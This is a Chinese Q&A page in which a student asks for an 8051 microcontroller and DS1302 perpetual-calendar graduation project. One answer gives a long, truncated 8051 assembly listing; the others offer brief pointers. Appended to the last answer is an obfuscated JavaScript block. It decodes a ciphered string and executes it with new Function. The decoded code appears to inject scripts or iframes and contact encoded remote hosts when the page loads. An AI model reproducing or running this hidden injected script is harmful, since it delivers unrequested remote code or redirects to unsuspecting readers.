求哪个好心人给个,基于51系列的单片机和DS1302时钟芯片的电子万年历毕业设计,万分感谢。

2025-02-06 16:40:36
推荐回答(3个)
回答1:

下面是部分程序:

TEMPER_L EQU 40H;用于保存读出温度的高8位

TEMPER_H EQU 41H;用于保存读出温度的低8位

FLAG1 EQU 42H;是否检测到DS18B20标志位

a_bit equ 43h ;数码管个位数存放内存位置

b_bit equ 44h ;数码管十位数存放内存位置

T_RST Bit P3.6 ;实时时钟复位线引脚

T_CLK Bit P3.4 ;实时时钟时钟线引脚

T_IO Bit P3.5 ;实时时钟数据线引脚

SECOND EQU 45H

MINUTE EQU 46H

HOUR EQU 47H

DAY EQU 48H

MONTH EQU 49H

WEEK EQU 4AH

YEARL EQU 4BH

CSA EQU p2.4

CSB EQU p2.3

rs  EQU P2.2

rw  EQU P2.1

E   EQU P2.0

COM     EQU 21H

DAT     EQU 22H

column  EQU 23H

pagef   EQU 24h

cpage   EQU 25H

ccolumn EQU 26H

codes   EQU 27h

column2 EQU 28H

pagef2  equ 29h

cpage2  EQU 2aH

ccolumn2 EQU 2bH

column3 EQU 2eH

pagef3  equ 2fh

cpage3  EQU 30H

ccolumn3 EQU 31H

column4 EQU 32H

pagef4  equ 33h

cpage4  EQU 34H

ccolumn4 EQU 35H

column5 EQU 36H

pagef5  equ 37h

cpage5  EQU 38H

ccolumn5 EQU 39H

      ORG 0

      LJMP START

      ORG 3

      LJMP XX0

      ORG 13H

      LJMP XX1

;*********************************************主程序开始

START:  MOV TMOD,#01H

        MOV TH0,#03CH   ;置定时器初值(定时50ms)

        MOV TL0,#0B0H

        SETB TR0        ;启动定时器0

        MOV SP,#60H     ;修改堆栈

        LCALL INT       ;调用初始化子程序

        LCALL CLEAR     ;调用清屏子程序

;*********************************************固定显示字符

mov column3,#48

mov pagef3,#0

mov codes,#8           ;年

lcall writeleft2

mov column4,#16

mov pagef4,#0

mov codes,#9          ;;;;;月

lcall writeright2

mov column4,#48

mov pagef4,#0             ;;;;;;日

mov codes,#10

lcall writeright2

mov column3,#0

mov pagef3,#2          ;;;星

mov codes,#11

lcall writeleft2

mov column3,#16

mov pagef3,#2        ;;;;;;期

mov codes,#12

lcall writeleft2

mov column4,#0

mov pagef4,#2     ;;;;;;  :

mov codes,#13

lcall writeright2

mov column4,#32

mov pagef4,#2

mov codes,#13      ;;;;;;  :

lcall writeright2

mov column4,#48

mov pagef4,#4

mov codes,#15     ;;;;;;;度

lcall writeright2

mov column,#16

mov pagef,#0

mov codes,#2           ;;;;;;;2

lcall writeleft

mov column,#24

mov pagef,#0

mov codes,#0        ;;;;;0

lcall writeleft

mov column4,#0

mov pagef4,#4

mov codes,#17       ;;;;;;;; 日

lcall writeright2

;************************** 笨小孩制作,860822

lcall a26

lcall a27

lcall a28

lcall a29

lcall a30

lcall a31

lcall a32

lcall a33

lcall a34

lcall a35

lcall a36

;*************************************************固定显示字符结束

        MOV DAY,#01H                ;初始日期设为08年1月1日星期一

        MOV MONTH,#01H

        MOV YEARL,#08H

        LCALL SETDS1302    ;设置DS1302初始时间

        LCALL GET1302      ;从DS1302读取时间

        LCALL DISPLAY     ;数码显示子程序

        MOV R3,#4        ;循环20次到一秒

        SETB EA

        SETB EX0

        setb IT0

        SETB EX1

        SETB IT1

LP1:    JNB P3.1 ,QQ0     ;当p3.1口为低电平时跳过读取时间子程序

        lJMP QQ2

QQ0:    MOV TH0,#03CH

        MOV TL0,#0B0H

        SETB TR0

        MOV 93H,#0

        LCALL NIU ;将调整后的时间放入时 分 秒 星期 年 月 日寄存器中

        LCALL SETDS1302    ;设置DS1302初始时间

        LCALL GET1302      ;从DS1302读取时间

        LCALL DISPLAY     ;用12864显示

QQ2:    JBC TF0,QQ1

        lJMP LP1

QQ1:    MOV TH0,#03CH

        MOV TL0,#0B0H

        LCALL GET1302                 ;每过50Ms从DS1302读取一次时间

        LCALL DISPLAY

;************************************节日控制程序开始,所有公历节日都能显示

MOV A,49H

CJNE A,#01H,ZZ0

MOV A,48H

CJNE A,#01H,VV0

MOV 71H,#19

LCALL A8

MOV 70H,#18

LCALL A7

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV0:CJNE A,#15H,SS0

MOV 70H,#20

LCALL A7

MOV 71H,#21

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

SS0:LCALL HAHA

LJMP QQQ

ZZ0:CJNE A,#02H,ZZ1

MOV A,48H

CJNE A,#14H,vv4

MOV 70H,#22

LCALL A7

MOV 71H,#23

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

vv4:CJNE A,#02H,vv5

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#55

LCALL A40

MOV 91H,#56

LCALL A41

LJMP QQQ

vv5:CJNE A,#10H,SS99

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#58

LCALL A40

MOV 91H,#59

LCALL A41

LJMP QQQ

SS99:LCALL HAHA

LJMP QQQ

YOU0:LJMP ZZ2

ZZ1:CJNE A,#03H,YOU0

MOV A,48H

CJNE A,#08H,VV6

MOV 70H,#24

LCALL A7

MOV 71H,#25

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV6:CJNE A,#01H,VV7

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#60

LCALL A40

MOV 91H,#61

LCALL A41

LJMP QQQ

VV7:CJNE A,#03H,VV8

MOV 70H,#62

LCALL A7

MOV 71H,#41

LCALL A8

MOV 92H,#63

LCALL A40

MOV 91H,#64

LCALL A41

LJMP QQQ

VV8:CJNE A,#05H,VV9

MOV 70H,#65

LCALL A7

MOV 71H,#66

LCALL A8

MOV 92H,#67

LCALL A40

MOV 91H,#68

LCALL A41

LJMP QQQ

VV9:CJNE A,#12H,VV10

MOV 70H,#69

LCALL A7

MOV 71H,#70

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV10:CJNE A,#14H,VV11

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#71

LCALL A40

MOV 91H,#72

LCALL A41

LJMP QQQ

VV11:CJNE A,#15H,VV12

MOV 70H,#73

LCALL A7

MOV 71H,#74

LCALL A8

MOV 92H,#75

LCALL A40

MOV 91H,#76

LCALL A41

LJMP QQQ

VV12:CJNE A,#17H,VV13

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#77

LCALL A40

MOV 91H,#60

LCALL A41

LJMP QQQ

VV13:CJNE A,#21H,VV14

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#78

LCALL A40

MOV 91H,#79

LCALL A41

LJMP QQQ

VV14:CJNE A,#22H,VV15

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#80

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV15:CJNE A,#23H,VV16

MOV 70H,#81

LCALL A7

MOV 71H,#82

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV16:CJNE A,#24H,VV17

MOV 70H,#83

LCALL A7

MOV 71H,#84

LCALL A8

MOV 92H,#85

LCALL A40

MOV 91H,#86

LCALL A41

LJMP QQQ

VV17:CJNE A,#25H,SS1

MOV 70H,#87

LCALL A7

MOV 71H,#62

LCALL A8

MOV 92H,#39

LCALL A40

MOV 91H,#88

LCALL A41

LJMP QQQ

SS1:LCALL HAHA

LJMP QQQ

YOU1:LJMP ZZ3

ZZ2:CJNE A,#04H,YOU1

MOV A,48H

CJNE A,#01H,VV1

MOV 70H,#26

LCALL A7

MOV 71H,#27

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV1:CJNE A,#04H,VV18

MOV 70H,#28

LCALL A7

MOV 71H,#29

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV18:CJNE A,#07H,VV19

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#89

LCALL A40

MOV 91H,#90

LCALL A41

LJMP QQQ

VV19:CJNE A,#22H,VV20

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#56

LCALL A40

MOV 91H,#91

LCALL A41

LJMP QQQ

VV20:CJNE A,#23H,SS2

MOV 70H,#92

LCALL A7

MOV 71H,#93

LCALL A8

MOV 92H,#94

LCALL A40

MOV 91H,#75

LCALL A41

LJMP QQQ

SS2:LCALL HAHA

LJMP QQQ

YOU2:LJMP ZZ4

ZZ3:CJNE A,#05H,YOU2

MOV A,48H

CJNE A,#01H,VV2

MOV 70H,#30

LCALL A7

MOV 71H,#31

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV2:CJNE A,#04H,VV3

MOV 70H,#32

LCALL A7

MOV 71H,#33

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV3:CJNE A,#11H,VV21

MOV 70H,#34

LCALL A7

MOV 71H,#35

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV21:CJNE A,#05H,VV22

MOV 70H,#95

LCALL A7

MOV 71H,#96

LCALL A8

MOV 92H,#83

LCALL A40

MOV 91H,#204

LCALL A41

LJMP QQQ

VV22:CJNE A,#08H,VV23

MOV 70H,#97

LCALL A7

MOV 71H,#98

LCALL A8

MOV 92H,#99

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV23:CJNE A,#12H,VV24

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#100

LCALL A40

MOV 91H,#101

LCALL A41

LJMP QQQ

VV24:CJNE A,#15H,VV25

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#102

LCALL A40

MOV 91H,#103

LCALL A41

LJMP QQQ

VV25:CJNE A,#17H,VV26

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#119

LCALL A40

MOV 91H,#120

LCALL A41

LJMP QQQ

VV26:CJNE A,#18H,VV27

MOV 70H,#62

LCALL A7

MOV 71H,#41

LCALL A8

MOV 92H,#121

LCALL A40

MOV 91H,#122

LCALL A41

LJMP QQQ

VV27:CJNE A,#20H,VV28

MOV 70H,#123

LCALL A7

MOV 71H,#90

LCALL A8

MOV 92H,#124

LCALL A40

MOV 91H,#125

LCALL A41

LJMP QQQ

VV28:CJNE A,#23H,VV29

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#126

LCALL A40

MOV 91H,#127

LCALL A41

LJMP QQQ

VV29:CJNE A,#31H,ss3

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#128

LCALL A40

MOV 91H,#129

LCALL A41

LJMP QQQ

SS3:LCALL HAHA

LJMP QQQ

YOU3:LJMP ZZ10

ZZ4:CJNE A,#06H,YOU3

MOV A,48H

CJNE A,#15H,VV30

MOV 70H,#36

LCALL A7

MOV 71H,#35

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV30:CJNE A,#01H,VV31

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#131

LCALL A40

MOV 91H,#132

LCALL A41

LJMP QQQ

VV31:CJNE A,#17H,VV32

MOV 70H,#83

LCALL A7

MOV 71H,#204

LCALL A8

MOV 92H,#133

LCALL A40

MOV 91H,#134

LCALL A41

LJMP QQQ

VV32:CJNE A,#23H,VV33

MOV 70H,#135

LCALL A7

MOV 71H,#79

LCALL A8

MOV 92H,#136

LCALL A40

MOV 91H,#137

LCALL A41

LJMP QQQ

VV33:CJNE A,#25H,VV34

MOV 70H,#62

LCALL A7

MOV 71H,#41

LCALL A8

MOV 92H,#138

LCALL A40

MOV 91H,#56

LCALL A41

LJMP QQQ

VV34:CJNE A,#26H,SS4

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#139

LCALL A40

MOV 91H,#140

LCALL A41

LJMP QQQ

SS4:LCALL HAHA

LJMP QQQ

YOU4:LJMP ZZ5

ZZ10:CJNE A,#07H,YOU4

MOV A,48H

CJNE A,#01H,VV35

MOV 70H,#141

LCALL A7

MOV 71H,#142

LCALL A8

MOV 92H,#106

LCALL A40

MOV 91H,#107

LCALL A41

LJMP QQQ

VV35:CJNE A,#02H,VV36

MOV 70H,#143

LCALL A7

MOV 71H,#88

LCALL A8

MOV 92H,#144

LCALL A40

MOV 91H,#145

LCALL A41

LJMP QQQ

VV36:CJNE A,#07H,VV37

MOV 70H,#146

LCALL A7

MOV 71H,#147

LCALL A8

MOV 92H,#67

LCALL A40

MOV 91H,#68

LCALL A41

LJMP QQQ

VV37:CJNE A,#11H,VV38

MOV 70H,#53

LCALL A7

MOV 71H,#54

LCALL A8

MOV 92H,#23

LCALL A40

MOV 91H,#148

LCALL A41

LJMP QQQ

VV38:CJNE A,#30H,SS10

MOV 70H,#149

LCALL A7

MOV 71H,#150

LCALL A8

MOV 92H,#24

LCALL A40

MOV 91H,#25

LCALL A41

LJMP QQQ

SS10:LCALL HAHA

LJMP QQQ

YOU5:LJMP ZZ6

ZZ5:CJNE A,#08H,YOU5

MOV A,48H

CJNE A,#01H,VV39

MOV 70H,#37

LCALL A7

MOV 71H,#38

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV39:CJNE A,#08H,VV40

MOV 70H,#153

LCALL A7

MOV 71H,#153

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV40:CJNE A,#15H,SS5

MOV 70H,#146

LCALL A7

MOV 71H,#147

LCALL A8

MOV 92H,#154

LCALL A40

MOV 91H,#155

LCALL A41

LJMP QQQ

SS5:LCALL HAHA

LJMP QQQ

YOU6:LJMP ZZ7

ZZ6:CJNE A,#09H,YOU6

MOV A,48H

CJNE A,#10H,VV41

MOV 70H,#39

LCALL A7

MOV 71H,#40

LCALL A8

MOV 92H,#210

LCALL A40

MOV 91H,#210

LCALL A41

LJMP QQQ

VV41:CJNE A,#08H,VV42

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#109

LCALL A40

MOV 91H,#110

LCALL A41

LJMP QQQ

VV42:CJNE A,#16H,VV43

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#111

LCALL A40

MOV 91H,#112

LCALL A41

LJMP QQQ

VV43:CJNE A,#20H,VV44

MOV 70H,#41

LCALL A7

MOV 71H,#57

LCALL A8

MOV 92H,#63

LCALL A40

MOV 91H,#113

LCALL A41

LJMP QQQ

VV44:CJNE A,#27H,VV45

MOV 70H,#53

回答2:

这种设计你在这里问是没有用的,网上都是要赚钱的,简易你去看一下单片机终结者的设计,估计能给你做毕业设计带来灵感。

回答3:

你可以到我百度空间看下,那里有完整的信息

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();